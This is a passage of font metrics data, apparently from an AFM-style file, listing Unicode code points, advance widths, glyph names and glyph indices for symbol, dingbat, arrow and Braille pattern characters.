U 9734 ; WX 896 ; N uni2606 ; G 3806
U 9735 ; WX 573 ; N uni2607 ; G 3807
U 9736 ; WX 896 ; N uni2608 ; G 3808
U 9737 ; WX 896 ; N uni2609 ; G 3809
U 9738 ; WX 888 ; N uni260A ; G 3810
U 9739 ; WX 888 ; N uni260B ; G 3811
U 9740 ; WX 671 ; N uni260C ; G 3812
U 9741 ; WX 1013 ; N uni260D ; G 3813
U 9742 ; WX 1246 ; N uni260E ; G 3814
U 9743 ; WX 1250 ; N uni260F ; G 3815
U 9744 ; WX 896 ; N uni2610 ; G 3816
U 9745 ; WX 896 ; N uni2611 ; G 3817
U 9746 ; WX 896 ; N uni2612 ; G 3818
U 9747 ; WX 532 ; N uni2613 ; G 3819
U 9748 ; WX 896 ; N uni2614 ; G 3820
U 9749 ; WX 896 ; N uni2615 ; G 3821
U 9750 ; WX 896 ; N uni2616 ; G 3822
U 9751 ; WX 896 ; N uni2617 ; G 3823
U 9752 ; WX 896 ; N uni2618 ; G 3824
U 9753 ; WX 896 ; N uni2619 ; G 3825
U 9754 ; WX 896 ; N uni261A ; G 3826
U 9755 ; WX 896 ; N uni261B ; G 3827
U 9756 ; WX 896 ; N uni261C ; G 3828
U 9757 ; WX 609 ; N uni261D ; G 3829
U 9758 ; WX 896 ; N uni261E ; G 3830
U 9759 ; WX 609 ; N uni261F ; G 3831
U 9760 ; WX 896 ; N uni2620 ; G 3832
U 9761 ; WX 896 ; N uni2621 ; G 3833
U 9762 ; WX 896 ; N uni2622 ; G 3834
U 9763 ; WX 896 ; N uni2623 ; G 3835
U 9764 ; WX 669 ; N uni2624 ; G 3836
U 9765 ; WX 746 ; N uni2625 ; G 3837
U 9766 ; WX 649 ; N uni2626 ; G 3838
U 9767 ; WX 784 ; N uni2627 ; G 3839
U 9768 ; WX 545 ; N uni2628 ; G 3840
U 9769 ; WX 896 ; N uni2629 ; G 3841
U 9770 ; WX 896 ; N uni262A ; G 3842
U 9771 ; WX 896 ; N uni262B ; G 3843
U 9772 ; WX 710 ; N uni262C ; G 3844
U 9773 ; WX 896 ; N uni262D ; G 3845
U 9774 ; WX 896 ; N uni262E ; G 3846
U 9775 ; WX 896 ; N uni262F ; G 3847
U 9776 ; WX 896 ; N uni2630 ; G 3848
U 9777 ; WX 896 ; N uni2631 ; G 3849
U 9778 ; WX 896 ; N uni2632 ; G 3850
U 9779 ; WX 896 ; N uni2633 ; G 3851
U 9780 ; WX 896 ; N uni2634 ; G 3852
U 9781 ; WX 896 ; N uni2635 ; G 3853
U 9782 ; WX 896 ; N uni2636 ; G 3854
U 9783 ; WX 896 ; N uni2637 ; G 3855
U 9784 ; WX 896 ; N uni2638 ; G 3856
U 9785 ; WX 1042 ; N uni2639 ; G 3857
U 9786 ; WX 1042 ; N smileface ; G 3858
U 9787 ; WX 1042 ; N invsmileface ; G 3859
U 9788 ; WX 896 ; N sun ; G 3860
U 9789 ; WX 896 ; N uni263D ; G 3861
U 9790 ; WX 896 ; N uni263E ; G 3862
U 9791 ; WX 614 ; N uni263F ; G 3863
U 9792 ; WX 732 ; N female ; G 3864
U 9793 ; WX 732 ; N uni2641 ; G 3865
U 9794 ; WX 896 ; N male ; G 3866
U 9795 ; WX 896 ; N uni2643 ; G 3867
U 9796 ; WX 896 ; N uni2644 ; G 3868
U 9797 ; WX 896 ; N uni2645 ; G 3869
U 9798 ; WX 896 ; N uni2646 ; G 3870
U 9799 ; WX 896 ; N uni2647 ; G 3871
U 9800 ; WX 896 ; N uni2648 ; G 3872
U 9801 ; WX 896 ; N uni2649 ; G 3873
U 9802 ; WX 896 ; N uni264A ; G 3874
U 9803 ; WX 896 ; N uni264B ; G 3875
U 9804 ; WX 896 ; N uni264C ; G 3876
U 9805 ; WX 896 ; N uni264D ; G 3877
U 9806 ; WX 896 ; N uni264E ; G 3878
U 9807 ; WX 896 ; N uni264F ; G 3879
U 9808 ; WX 896 ; N uni2650 ; G 3880
U 9809 ; WX 896 ; N uni2651 ; G 3881
U 9810 ; WX 896 ; N uni2652 ; G 3882
U 9811 ; WX 896 ; N uni2653 ; G 3883
U 9812 ; WX 896 ; N uni2654 ; G 3884
U 9813 ; WX 896 ; N uni2655 ; G 3885
U 9814 ; WX 896 ; N uni2656 ; G 3886
U 9815 ; WX 896 ; N uni2657 ; G 3887
U 9816 ; WX 896 ; N uni2658 ; G 3888
U 9817 ; WX 896 ; N uni2659 ; G 3889
U 9818 ; WX 896 ; N uni265A ; G 3890
U 9819 ; WX 896 ; N uni265B ; G 3891
U 9820 ; WX 896 ; N uni265C ; G 3892
U 9821 ; WX 896 ; N uni265D ; G 3893
U 9822 ; WX 896 ; N uni265E ; G 3894
U 9823 ; WX 896 ; N uni265F ; G 3895
U 9824 ; WX 896 ; N spade ; G 3896
U 9825 ; WX 896 ; N uni2661 ; G 3897
U 9826 ; WX 896 ; N uni2662 ; G 3898
U 9827 ; WX 896 ; N club ; G 3899
U 9828 ; WX 896 ; N uni2664 ; G 3900
U 9829 ; WX 896 ; N heart ; G 3901
U 9830 ; WX 896 ; N diamond ; G 3902
U 9831 ; WX 896 ; N uni2667 ; G 3903
U 9832 ; WX 896 ; N uni2668 ; G 3904
U 9833 ; WX 472 ; N uni2669 ; G 3905
U 9834 ; WX 638 ; N musicalnote ; G 3906
U 9835 ; WX 896 ; N musicalnotedbl ; G 3907
U 9836 ; WX 896 ; N uni266C ; G 3908
U 9837 ; WX 472 ; N uni266D ; G 3909
U 9838 ; WX 357 ; N uni266E ; G 3910
U 9839 ; WX 484 ; N uni266F ; G 3911
U 9840 ; WX 748 ; N uni2670 ; G 3912
U 9841 ; WX 766 ; N uni2671 ; G 3913
U 9842 ; WX 896 ; N uni2672 ; G 3914
U 9843 ; WX 896 ; N uni2673 ; G 3915
U 9844 ; WX 896 ; N uni2674 ; G 3916
U 9845 ; WX 896 ; N uni2675 ; G 3917
U 9846 ; WX 896 ; N uni2676 ; G 3918
U 9847 ; WX 896 ; N uni2677 ; G 3919
U 9848 ; WX 896 ; N uni2678 ; G 3920
U 9849 ; WX 896 ; N uni2679 ; G 3921
U 9850 ; WX 896 ; N uni267A ; G 3922
U 9851 ; WX 896 ; N uni267B ; G 3923
U 9852 ; WX 896 ; N uni267C ; G 3924
U 9853 ; WX 896 ; N uni267D ; G 3925
U 9854 ; WX 896 ; N uni267E ; G 3926
U 9855 ; WX 896 ; N uni267F ; G 3927
U 9856 ; WX 869 ; N uni2680 ; G 3928
U 9857 ; WX 869 ; N uni2681 ; G 3929
U 9858 ; WX 869 ; N uni2682 ; G 3930
U 9859 ; WX 869 ; N uni2683 ; G 3931
U 9860 ; WX 869 ; N uni2684 ; G 3932
U 9861 ; WX 869 ; N uni2685 ; G 3933
U 9862 ; WX 896 ; N uni2686 ; G 3934
U 9863 ; WX 896 ; N uni2687 ; G 3935
U 9864 ; WX 896 ; N uni2688 ; G 3936
U 9865 ; WX 896 ; N uni2689 ; G 3937
U 9866 ; WX 896 ; N uni268A ; G 3938
U 9867 ; WX 896 ; N uni268B ; G 3939
U 9868 ; WX 896 ; N uni268C ; G 3940
U 9869 ; WX 896 ; N uni268D ; G 3941
U 9870 ; WX 896 ; N uni268E ; G 3942
U 9871 ; WX 896 ; N uni268F ; G 3943
U 9872 ; WX 896 ; N uni2690 ; G 3944
U 9873 ; WX 896 ; N uni2691 ; G 3945
U 9874 ; WX 896 ; N uni2692 ; G 3946
U 9875 ; WX 896 ; N uni2693 ; G 3947
U 9876 ; WX 896 ; N uni2694 ; G 3948
U 9877 ; WX 541 ; N uni2695 ; G 3949
U 9878 ; WX 896 ; N uni2696 ; G 3950
U 9879 ; WX 896 ; N uni2697 ; G 3951
U 9880 ; WX 896 ; N uni2698 ; G 3952
U 9881 ; WX 896 ; N uni2699 ; G 3953
U 9882 ; WX 896 ; N uni269A ; G 3954
U 9883 ; WX 896 ; N uni269B ; G 3955
U 9884 ; WX 896 ; N uni269C ; G 3956
U 9886 ; WX 896 ; N uni269E ; G 3957
U 9887 ; WX 896 ; N uni269F ; G 3958
U 9888 ; WX 896 ; N uni26A0 ; G 3959
U 9889 ; WX 702 ; N uni26A1 ; G 3960
U 9890 ; WX 1004 ; N uni26A2 ; G 3961
U 9891 ; WX 1089 ; N uni26A3 ; G 3962
U 9892 ; WX 1175 ; N uni26A4 ; G 3963
U 9893 ; WX 903 ; N uni26A5 ; G 3964
U 9894 ; WX 838 ; N uni26A6 ; G 3965
U 9895 ; WX 838 ; N uni26A7 ; G 3966
U 9896 ; WX 838 ; N uni26A8 ; G 3967
U 9897 ; WX 838 ; N uni26A9 ; G 3968
U 9898 ; WX 838 ; N uni26AA ; G 3969
U 9899 ; WX 838 ; N uni26AB ; G 3970
U 9900 ; WX 838 ; N uni26AC ; G 3971
U 9901 ; WX 838 ; N uni26AD ; G 3972
U 9902 ; WX 838 ; N uni26AE ; G 3973
U 9903 ; WX 838 ; N uni26AF ; G 3974
U 9904 ; WX 844 ; N uni26B0 ; G 3975
U 9905 ; WX 838 ; N uni26B1 ; G 3976
U 9906 ; WX 732 ; N uni26B2 ; G 3977
U 9907 ; WX 732 ; N uni26B3 ; G 3978
U 9908 ; WX 732 ; N uni26B4 ; G 3979
U 9909 ; WX 732 ; N uni26B5 ; G 3980
U 9910 ; WX 850 ; N uni26B6 ; G 3981
U 9911 ; WX 732 ; N uni26B7 ; G 3982
U 9912 ; WX 732 ; N uni26B8 ; G 3983
U 9920 ; WX 838 ; N uni26C0 ; G 3984
U 9921 ; WX 838 ; N uni26C1 ; G 3985
U 9922 ; WX 838 ; N uni26C2 ; G 3986
U 9923 ; WX 838 ; N uni26C3 ; G 3987
U 9954 ; WX 732 ; N uni26E2 ; G 3988
U 9985 ; WX 838 ; N uni2701 ; G 3989
U 9986 ; WX 838 ; N uni2702 ; G 3990
U 9987 ; WX 838 ; N uni2703 ; G 3991
U 9988 ; WX 838 ; N uni2704 ; G 3992
U 9990 ; WX 838 ; N uni2706 ; G 3993
U 9991 ; WX 838 ; N uni2707 ; G 3994
U 9992 ; WX 838 ; N uni2708 ; G 3995
U 9993 ; WX 838 ; N uni2709 ; G 3996
U 9996 ; WX 838 ; N uni270C ; G 3997
U 9997 ; WX 838 ; N uni270D ; G 3998
U 9998 ; WX 838 ; N uni270E ; G 3999
U 9999 ; WX 838 ; N uni270F ; G 4000
U 10000 ; WX 838 ; N uni2710 ; G 4001
U 10001 ; WX 838 ; N uni2711 ; G 4002
U 10002 ; WX 838 ; N uni2712 ; G 4003
U 10003 ; WX 838 ; N uni2713 ; G 4004
U 10004 ; WX 838 ; N uni2714 ; G 4005
U 10005 ; WX 838 ; N uni2715 ; G 4006
U 10006 ; WX 838 ; N uni2716 ; G 4007
U 10007 ; WX 838 ; N uni2717 ; G 4008
U 10008 ; WX 838 ; N uni2718 ; G 4009
U 10009 ; WX 838 ; N uni2719 ; G 4010
U 10010 ; WX 838 ; N uni271A ; G 4011
U 10011 ; WX 838 ; N uni271B ; G 4012
U 10012 ; WX 838 ; N uni271C ; G 4013
U 10013 ; WX 838 ; N uni271D ; G 4014
U 10014 ; WX 838 ; N uni271E ; G 4015
U 10015 ; WX 838 ; N uni271F ; G 4016
U 10016 ; WX 838 ; N uni2720 ; G 4017
U 10017 ; WX 838 ; N uni2721 ; G 4018
U 10018 ; WX 838 ; N uni2722 ; G 4019
U 10019 ; WX 838 ; N uni2723 ; G 4020
U 10020 ; WX 838 ; N uni2724 ; G 4021
U 10021 ; WX 838 ; N uni2725 ; G 4022
U 10022 ; WX 838 ; N uni2726 ; G 4023
U 10023 ; WX 838 ; N uni2727 ; G 4024
U 10025 ; WX 838 ; N uni2729 ; G 4025
U 10026 ; WX 838 ; N uni272A ; G 4026
U 10027 ; WX 838 ; N uni272B ; G 4027
U 10028 ; WX 838 ; N uni272C ; G 4028
U 10029 ; WX 838 ; N uni272D ; G 4029
U 10030 ; WX 838 ; N uni272E ; G 4030
U 10031 ; WX 838 ; N uni272F ; G 4031
U 10032 ; WX 838 ; N uni2730 ; G 4032
U 10033 ; WX 838 ; N uni2731 ; G 4033
U 10034 ; WX 838 ; N uni2732 ; G 4034
U 10035 ; WX 838 ; N uni2733 ; G 4035
U 10036 ; WX 838 ; N uni2734 ; G 4036
U 10037 ; WX 838 ; N uni2735 ; G 4037
U 10038 ; WX 838 ; N uni2736 ; G 4038
U 10039 ; WX 838 ; N uni2737 ; G 4039
U 10040 ; WX 838 ; N uni2738 ; G 4040
U 10041 ; WX 838 ; N uni2739 ; G 4041
U 10042 ; WX 838 ; N uni273A ; G 4042
U 10043 ; WX 838 ; N uni273B ; G 4043
U 10044 ; WX 838 ; N uni273C ; G 4044
U 10045 ; WX 838 ; N uni273D ; G 4045
U 10046 ; WX 838 ; N uni273E ; G 4046
U 10047 ; WX 838 ; N uni273F ; G 4047
U 10048 ; WX 838 ; N uni2740 ; G 4048
U 10049 ; WX 838 ; N uni2741 ; G 4049
U 10050 ; WX 838 ; N uni2742 ; G 4050
U 10051 ; WX 838 ; N uni2743 ; G 4051
U 10052 ; WX 838 ; N uni2744 ; G 4052
U 10053 ; WX 838 ; N uni2745 ; G 4053
U 10054 ; WX 838 ; N uni2746 ; G 4054
U 10055 ; WX 838 ; N uni2747 ; G 4055
U 10056 ; WX 838 ; N uni2748 ; G 4056
U 10057 ; WX 838 ; N uni2749 ; G 4057
U 10058 ; WX 838 ; N uni274A ; G 4058
U 10059 ; WX 838 ; N uni274B ; G 4059
U 10061 ; WX 896 ; N uni274D ; G 4060
U 10063 ; WX 896 ; N uni274F ; G 4061
U 10064 ; WX 896 ; N uni2750 ; G 4062
U 10065 ; WX 896 ; N uni2751 ; G 4063
U 10066 ; WX 896 ; N uni2752 ; G 4064
U 10070 ; WX 896 ; N uni2756 ; G 4065
U 10072 ; WX 838 ; N uni2758 ; G 4066
U 10073 ; WX 838 ; N uni2759 ; G 4067
U 10074 ; WX 838 ; N uni275A ; G 4068
U 10075 ; WX 322 ; N uni275B ; G 4069
U 10076 ; WX 322 ; N uni275C ; G 4070
U 10077 ; WX 538 ; N uni275D ; G 4071
U 10078 ; WX 538 ; N uni275E ; G 4072
U 10081 ; WX 838 ; N uni2761 ; G 4073
U 10082 ; WX 838 ; N uni2762 ; G 4074
U 10083 ; WX 838 ; N uni2763 ; G 4075
U 10084 ; WX 838 ; N uni2764 ; G 4076
U 10085 ; WX 838 ; N uni2765 ; G 4077
U 10086 ; WX 838 ; N uni2766 ; G 4078
U 10087 ; WX 838 ; N uni2767 ; G 4079
U 10088 ; WX 838 ; N uni2768 ; G 4080
U 10089 ; WX 838 ; N uni2769 ; G 4081
U 10090 ; WX 838 ; N uni276A ; G 4082
U 10091 ; WX 838 ; N uni276B ; G 4083
U 10092 ; WX 838 ; N uni276C ; G 4084
U 10093 ; WX 838 ; N uni276D ; G 4085
U 10094 ; WX 838 ; N uni276E ; G 4086
U 10095 ; WX 838 ; N uni276F ; G 4087
U 10096 ; WX 838 ; N uni2770 ; G 4088
U 10097 ; WX 838 ; N uni2771 ; G 4089
U 10098 ; WX 838 ; N uni2772 ; G 4090
U 10099 ; WX 838 ; N uni2773 ; G 4091
U 10100 ; WX 838 ; N uni2774 ; G 4092
U 10101 ; WX 838 ; N uni2775 ; G 4093
U 10102 ; WX 896 ; N uni2776 ; G 4094
U 10103 ; WX 896 ; N uni2777 ; G 4095
U 10104 ; WX 896 ; N uni2778 ; G 4096
U 10105 ; WX 896 ; N uni2779 ; G 4097
U 10106 ; WX 896 ; N uni277A ; G 4098
U 10107 ; WX 896 ; N uni277B ; G 4099
U 10108 ; WX 896 ; N uni277C ; G 4100
U 10109 ; WX 896 ; N uni277D ; G 4101
U 10110 ; WX 896 ; N uni277E ; G 4102
U 10111 ; WX 896 ; N uni277F ; G 4103
U 10112 ; WX 838 ; N uni2780 ; G 4104
U 10113 ; WX 838 ; N uni2781 ; G 4105
U 10114 ; WX 838 ; N uni2782 ; G 4106
U 10115 ; WX 838 ; N uni2783 ; G 4107
U 10116 ; WX 838 ; N uni2784 ; G 4108
U 10117 ; WX 838 ; N uni2785 ; G 4109
U 10118 ; WX 838 ; N uni2786 ; G 4110
U 10119 ; WX 838 ; N uni2787 ; G 4111
U 10120 ; WX 838 ; N uni2788 ; G 4112
U 10121 ; WX 838 ; N uni2789 ; G 4113
U 10122 ; WX 838 ; N uni278A ; G 4114
U 10123 ; WX 838 ; N uni278B ; G 4115
U 10124 ; WX 838 ; N uni278C ; G 4116
U 10125 ; WX 838 ; N uni278D ; G 4117
U 10126 ; WX 838 ; N uni278E ; G 4118
U 10127 ; WX 838 ; N uni278F ; G 4119
U 10128 ; WX 838 ; N uni2790 ; G 4120
U 10129 ; WX 838 ; N uni2791 ; G 4121
U 10130 ; WX 838 ; N uni2792 ; G 4122
U 10131 ; WX 838 ; N uni2793 ; G 4123
U 10132 ; WX 838 ; N uni2794 ; G 4124
U 10136 ; WX 838 ; N uni2798 ; G 4125
U 10137 ; WX 838 ; N uni2799 ; G 4126
U 10138 ; WX 838 ; N uni279A ; G 4127
U 10139 ; WX 838 ; N uni279B ; G 4128
U 10140 ; WX 838 ; N uni279C ; G 4129
U 10141 ; WX 838 ; N uni279D ; G 4130
U 10142 ; WX 838 ; N uni279E ; G 4131
U 10143 ; WX 838 ; N uni279F ; G 4132
U 10144 ; WX 838 ; N uni27A0 ; G 4133
U 10145 ; WX 838 ; N uni27A1 ; G 4134
U 10146 ; WX 838 ; N uni27A2 ; G 4135
U 10147 ; WX 838 ; N uni27A3 ; G 4136
U 10148 ; WX 838 ; N uni27A4 ; G 4137
U 10149 ; WX 838 ; N uni27A5 ; G 4138
U 10150 ; WX 838 ; N uni27A6 ; G 4139
U 10151 ; WX 838 ; N uni27A7 ; G 4140
U 10152 ; WX 838 ; N uni27A8 ; G 4141
U 10153 ; WX 838 ; N uni27A9 ; G 4142
U 10154 ; WX 838 ; N uni27AA ; G 4143
U 10155 ; WX 838 ; N uni27AB ; G 4144
U 10156 ; WX 838 ; N uni27AC ; G 4145
U 10157 ; WX 838 ; N uni27AD ; G 4146
U 10158 ; WX 838 ; N uni27AE ; G 4147
U 10159 ; WX 838 ; N uni27AF ; G 4148
U 10161 ; WX 838 ; N uni27B1 ; G 4149
U 10162 ; WX 838 ; N uni27B2 ; G 4150
U 10163 ; WX 838 ; N uni27B3 ; G 4151
U 10164 ; WX 838 ; N uni27B4 ; G 4152
U 10165 ; WX 838 ; N uni27B5 ; G 4153
U 10166 ; WX 838 ; N uni27B6 ; G 4154
U 10167 ; WX 838 ; N uni27B7 ; G 4155
U 10168 ; WX 838 ; N uni27B8 ; G 4156
U 10169 ; WX 838 ; N uni27B9 ; G 4157
U 10170 ; WX 838 ; N uni27BA ; G 4158
U 10171 ; WX 838 ; N uni27BB ; G 4159
U 10172 ; WX 838 ; N uni27BC ; G 4160
U 10173 ; WX 838 ; N uni27BD ; G 4161
U 10174 ; WX 838 ; N uni27BE ; G 4162
U 10181 ; WX 390 ; N uni27C5 ; G 4163
U 10182 ; WX 390 ; N uni27C6 ; G 4164
U 10208 ; WX 494 ; N uni27E0 ; G 4165
U 10214 ; WX 495 ; N uni27E6 ; G 4166
U 10215 ; WX 495 ; N uni27E7 ; G 4167
U 10216 ; WX 390 ; N uni27E8 ; G 4168
U 10217 ; WX 390 ; N uni27E9 ; G 4169
U 10218 ; WX 556 ; N uni27EA ; G 4170
U 10219 ; WX 556 ; N uni27EB ; G 4171
U 10224 ; WX 838 ; N uni27F0 ; G 4172
U 10225 ; WX 838 ; N uni27F1 ; G 4173
U 10226 ; WX 838 ; N uni27F2 ; G 4174
U 10227 ; WX 838 ; N uni27F3 ; G 4175
U 10228 ; WX 1157 ; N uni27F4 ; G 4176
U 10229 ; WX 1434 ; N uni27F5 ; G 4177
U 10230 ; WX 1434 ; N uni27F6 ; G 4178
U 10231 ; WX 1434 ; N uni27F7 ; G 4179
U 10232 ; WX 1434 ; N uni27F8 ; G 4180
U 10233 ; WX 1434 ; N uni27F9 ; G 4181
U 10234 ; WX 1434 ; N uni27FA ; G 4182
U 10235 ; WX 1434 ; N uni27FB ; G 4183
U 10236 ; WX 1434 ; N uni27FC ; G 4184
U 10237 ; WX 1434 ; N uni27FD ; G 4185
U 10238 ; WX 1434 ; N uni27FE ; G 4186
U 10239 ; WX 1434 ; N uni27FF ; G 4187
U 10240 ; WX 732 ; N uni2800 ; G 4188
U 10241 ; WX 732 ; N uni2801 ; G 4189
U 10242 ; WX 732 ; N uni2802 ; G 4190
U 10243 ; WX 732 ; N uni2803 ; G 4191
U 10244 ; WX 732 ; N uni2804 ; G 4192
U 10245 ; WX 732 ; N uni2805 ; G 4193
U 10246 ; WX 732 ; N uni2806 ; G 4194
U 10247 ; WX 732 ; N uni2807 ; G 4195
U 10248 ; WX 732 ; N uni2808 ; G 4196
U 10249 ; WX 732 ; N uni2809 ; G 4197
U 10250 ; WX 732 ; N uni280A ; G 4198
U 10251 ; WX 732 ; N uni280B ; G 4199
U 10252 ; WX 732 ; N uni280C ; G 4200
U 10253 ; WX 732 ; N uni280D ; G 4201
U 10254 ; WX 732 ; N uni280E ; G 4202
U 10255 ; WX 732 ; N uni280F ; G 4203
U 10256 ; WX 732 ; N uni2810 ; G 4204
U 10257 ; WX 732 ; N uni2811 ; G 4205
U 10258 ; WX 732 ; N uni2812 ; G 4206
U 10259 ; WX 732 ; N uni2813 ; G 4207
U 10260 ; WX 732 ; N uni2814 ; G 4208
U 10261 ; WX 732 ; N uni2815 ; G 4209
U 10262 ; WX 732 ; N uni2816 ; G 4210
U 10263 ; WX 732 ; N uni2817 ; G 4211
U 10264 ; WX 732 ; N uni2818 ; G 4212
U 10265 ; WX 732 ; N uni2819 ; G 4213
U 10266 ; WX 732 ; N uni281A ; G 4214
U 10267 ; WX 732 ; N uni281B ; G 4215
U 10268 ; WX 732 ; N uni281C ; G 4216
U 10269 ; WX 732 ; N uni281D ; G 4217
U 10270 ; WX 732 ; N uni281E ; G 4218
U 10271 ; WX 732 ; N uni281F ; G 4219
U 10272 ; WX 732 ; N uni2820 ; G 4220
U 10273 ; WX 732 ; N uni2821 ; G 4221
U 10274 ; WX 732 ; N uni2822 ; G 4222
U 10275 ; WX 732 ; N uni2823 ; G 4223
U 10276 ; WX 732 ; N uni2824 ; G 4224
U 10277 ; WX 732 ; N uni2825 ; G 4225
U 10278 ; WX 732 ; N uni2826 ; G 4226
U 10279 ; WX 732 ; N uni2827 ; G 4227
U 10280 ; WX 732 ; N uni2828 ; G 4228
U 10281 ; WX 732 ; N uni2829 ; G 4229
U 10282 ; WX 732 ; N uni282A ; G 4230
U 10283 ; WX 732 ; N uni282B ; G 4231
U 10284 ; WX 732 ; N uni282C ; G 4232
U 10285 ; WX 732 ; N uni282D ; G 4233
U 10286 ; WX 732 ; N uni282E ; G 4234
U 10287 ; WX 732 ; N uni282F ; G 4235
U 10288 ; WX 732 ; N uni2830 ; G 4236
U 10289 ; WX 732 ; N uni2831 ; G 4237
U 10290 ; WX 732 ; N uni2832 ; G 4238
U 10291 ; WX 732 ; N uni2833 ; G 4239
U 10292 ; WX 732 ; N uni2834 ; G 4240
U 10293 ; WX 732 ; N uni2835 ; G 4241
U 10294 ; WX 732 ; N uni2836 ; G 4242
U 10295 ; WX 732 ; N uni2837 ; G 4243
U 10296 ; WX 732 ; N uni2838 ; G 4244
U 10297 ; WX 732 ; N uni2839 ; G 4245
U 10298 ; WX 732 ; N uni283A ; G 4246
U 10299 ; WX 732 ; N uni283B ; G 4247
U 10300 ; WX 732 ; N uni283C ; G 4248
U 10301 ; WX 732 ; N uni283D ; G 4249
U 10302 ; WX 732 ; N uni283E ; G 4250
U 10303 ; WX 732 ; N uni283F ; G 4251
U 10304 ; WX 732 ; N uni2840 ; G 4252
U 10305 ; WX 732 ; N uni2841 ; G 4253
U 10306 ; WX 732 ; N uni2842 ; G 4254
U 10307 ; WX 732 ; N uni2843 ; G 4255
U 10308 ; WX 732 ; N uni2844 ; G 4256
U 10309 ; WX 732 ; N uni2845 ; G 4257
U 10310 ; WX 732 ; N uni2846 ; G 4258
U 10311 ; WX 732 ; N uni2847 ; G 4259
U 10312 ; WX 732 ; N uni2848 ; G 4260
U 10313 ; WX 732 ; N uni2849 ; G 4261
U 10314 ; WX 732 ; N uni284A ; G 4262
U 10315 ; WX 732 ; N uni284B ; G 4263
U 10316 ; WX 732 ; N uni284C ; G 4264
U 10317 ; WX 732 ; N uni284D ; G 4265
U 10318 ; WX 732 ; N uni284E ; G 4266
U 10319 ; WX 732 ; N uni284F ; G 4267
U 10320 ; WX 732 ; N uni2850 ; G 4268
U 10321 ; WX 732 ; N uni2851 ; G 4269
U 10322 ; WX 732 ; N uni2852 ; G 4270
U 10323 ; WX 732 ; N uni2853 ; G 4271
U 10324 ; WX 732 ; N uni2854 ; G 4272
U 10325 ; WX 732 ; N uni2855 ; G 4273
U 10326 ; WX 732 ; N uni2856 ; G 4274
U 10327 ; WX 732 ; N uni2857 ; G 4275
U 10328 ; WX 732 ; N uni2858 ; G 4276
U 10329 ; WX 732 ; N uni2859 ; G 4277
U 10330 ; WX 732 ; N uni285A ; G 4278
U 10331 ; WX 732 ; N uni285B ; G 4279
U 10332 ; WX 732 ; N uni285C ; G 4280
U 10333 ; WX 732 ; N uni285D ; G 4281
U 10334 ; WX 732 ; N uni285E ; G 4282
U 10335 ; WX 732 ; N uni285F ; G 4283
U 10336 ; WX 732 ; N uni2860 ; G 4284
U 10337 ; WX 732 ; N uni2861 ; G 4285
U 10338 ; WX 732 ; N uni2862 ; G 4286
U 10339 ; WX 732 ; N uni2863 ; G 4287
U 10340 ; WX 732 ; N uni2864 ; G 4288
U 10341 ; WX 732 ; N uni2865 ; G 4289
U 10342 ; WX 732 ; N uni2866 ; G 4290
U 10343 ; WX 732 ; N uni2867 ; G 4291
U 10344 ; WX 732 ; N uni2868 ; G 4292
U 10345 ; WX 732 ; N uni2869 ; G 4293
U 10346 ; WX 732 ; N uni286A ; G 4294
U 10347 ; WX 732 ; N uni286B ; G 4295
U 10348 ; WX 732 ; N uni286C ; G 4296
U 10349 ; WX 732 ; N uni286D ; G 4297
U 10350 ; WX 732 ; N uni286E ; G 4298
U 10351 ; WX 732 ; N uni286F ; G 4299
U 10352 ; WX 732 ; N uni2870 ; G 4300
U 10353 ; WX 732 ; N uni2871 ; G 4301
U 10354 ; WX 732 ; N uni2872 ; G 4302
U 10355 ; WX 732 ; N uni2873 ; G 4303
U 10356 ; WX 732 ; N uni2874 ; G 4304
U 10357 ; WX 732 ; N uni2875 ; G 4305
U 10358 ; WX 732 ; N uni2876 ; G 4306
U 10359 ; WX 732 ; N uni2877 ; G 4307
U 10360 ; WX 732 ; N uni2878 ; G 4308
U 10361 ; WX 732 ; N uni2879 ; G 4309
U 10362 ; WX 732 ; N uni287A ; G 4310
U 10363 ; WX 732 ; N uni287B ; G 4311
U 10364 ; WX 732 ; N uni287C ; G 4312
U 10365 ; WX 732 ; N uni287D ; G 4313
U 10366 ; WX 732 ; N uni287E ; G 4314
U 10367 ; WX 732 ; N uni287F ; G 4315
U 10368 ; WX 732 ; N uni2880 ; G 4316
U 10369 ; WX 732 ; N uni2881 ; G 4317
U 10370 ; WX 732 ; N uni2882 ; G 4318
U 10371 ; WX 732 ; N uni2883 ; G 4319
U 10372 ; WX 732 ; N uni2884 ; G 4320
U 10373 ; WX 732 ; N uni2885 ; G 4321
U 10374 ; WX 732 ; N uni2886 ; G 4322
U 10375 ; WX 732 ; N uni2887 ; G 4323
U 10376 ; WX 732 ; N uni2888 ; G 4324
U 10377 ; WX 732 ; N uni2889 ; G 4325
U 10378 ; WX 732 ; N uni288A ; G 4326
U 10379 ; WX 732 ; N uni288B ; G 4327
U 10380 ; WX 732 ; N uni288C ; G 4328
U 10381 ; WX 732 ; N uni288D ; G 4329
U 10382 ; WX 732 ; N uni288E ; G 4330
U 10383 ; WX 732 ; N uni288F ; G 4331
U 10384 ; WX 732 ; N uni2890 ; G 4332
U 10385 ; WX 732 ; N uni2891 ; G 4333
U 10386 ; WX 732 ; N uni2892 ; G 4334
U 10387 ; WX 732 ; N uni2893 ; G 4335
U 10388 ; WX 732 ; N uni2894 ; G 4336
U 10389 ; WX 732 ; N uni2895 ; G 4337
U 10390 ; WX 732 ; N uni2896 ; G 4338
U 10391 ; WX 732 ; N uni2897 ; G 4339
U 10392 ; WX 732 ; N uni2898 ; G 4340
U 10393 ; WX 732 ; N uni2899 ; G 4341
U 10394 ; WX 732 ; N uni289A ; G 4342
U 10395 ; WX 732 ; N uni289B ; G 4343
U 10396 ; WX 732 ; N uni289C ; G 4344
U 10397 ; WX 732 ; N uni289D ; G 4345
U 10398 ; WX 732 ; N uni289E ; G 4346
U 10399 ; WX 732 ; N uni289F ; G 4347
U 10400 ; WX 732 ; N uni28A0 ; G 4348
U 10401 ; WX 732 ; N uni28A1 ; G 4349
U 10402 ; WX 732 ; N uni28A2 ; G 4350
U 10403 ; WX 732 ; N uni28A3 ; G 4351
U 10404 ; WX 732 ; N uni28A4 ; G 4352
U 10405 ; WX 732 ; N uni28A5 ; G 4353
U 10406 ; WX 732 ; N uni28A6 ; G 4354
U 10407 ; WX 732 ; N uni28A7 ; G 4355
U 10408 ; WX 732 ; N uni28A8 ; G 4356
U 10409 ; WX 732 ; N uni28A9 ; G 4357
U 10410 ; WX 732 ; N uni28AA ; G 4358
U 10411 ; WX 732 ; N uni28AB ; G 4359
U 10412 ; WX 732 ; N uni28AC ; G 4360
U 10413 ; WX 732 ; N uni28AD ; G 4361
U 10414 ; WX 732 ; N uni28AE ; G 4362
U 10415 ; WX 732 ; N uni28AF ; G 4363
U 10416 ; WX 732 ; N uni28B0 ; G 4364
